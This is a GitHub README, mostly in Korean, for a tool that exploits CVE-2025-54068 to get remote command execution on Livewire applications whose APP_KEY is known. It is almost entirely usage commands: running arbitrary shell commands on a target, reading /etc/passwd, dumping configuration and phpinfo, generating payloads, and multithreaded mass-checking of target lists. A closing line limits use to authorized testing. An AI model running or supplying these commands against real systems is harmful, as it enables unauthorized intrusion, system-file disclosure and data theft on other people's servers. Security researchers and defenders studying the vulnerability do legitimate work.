haxorstars/cve-2025-54068A tool designed to exploit CVE-2025-54068 and Remote Command Execution of the Livewire project.
CVE-2025-54068을 악용하고 Livewire 프로젝트의 APP_KEY를 알고 있을 때 원격 명령 실행을 수행하도록 설계된 도구입니다.
이 도구는 Synacktiv의 원본 프로젝트를 재구성한 버전입니다:
핵심 개념과 방법론은 원래 구현을 기반으로 합니다. 이 버전에는 유용성과 유연성을 향상시키기 위한 사소한 개선 사항과 추가 기능이 포함되어 있습니다.
pipx를 사용하여 도구 설치:
pipx install git+https://github.com/haxorstars/CVE-2025-54068
또는 uv 사용:
uv tool install git+https://github.com/haxorstars/CVE-2025-54068
단일 대상에 대해 도구 실행:
livewire-rce-2025 -u target.com
사용자 정의 매개변수 사용:
livewire-rce-2025 -u https://target.com -p "id;uname -a;pwd;ls -la"
미리 정의된 사용자 정의 함수 실행:
livewire-rce-2025 -u target.com --custom-function "shell:ls -la"
livewire-rce-2025 -u target.com --custom-function "read:/etc/passwd"
livewire-rce-2025 -u target.com --custom-function "phpinfo"
livewire-rce-2025 -u target.com --custom-function "config"
여러 함수를 하나의 명령으로 결합:
livewire-rce-2025 -u target.com --custom-function "shell:whoami && shell:id && read:/etc/passwd"
자체 PHP 페이로드 파일 사용:
livewire-rce-2025 -u target.com --custom-file custom.php --param "shell:id"
대상에 전송하지 않고 페이로드 생성:
livewire-rce-2025 -generate-payload --custom-function "shell:ls -la"
또는 사용자 정의 PHP 파일 사용:
livewire-rce-2025 -generate-payload --custom-file custom.php
파일에서 여러 대상 스캔:
livewire-rce-2025 -mass-check targets.txt -o results.json
사용자 정의 스레드 수:
livewire-rce-2025 -mass-check targets.txt -t 20 -o results.json
이 도구는 교육 및 허가된 보안 테스트 목적으로만 사용됩니다. 소유하지 않거나 테스트할 명시적 권한이 없는 시스템에 사용하지 마십시오.
즐거운 해킹 되세요😄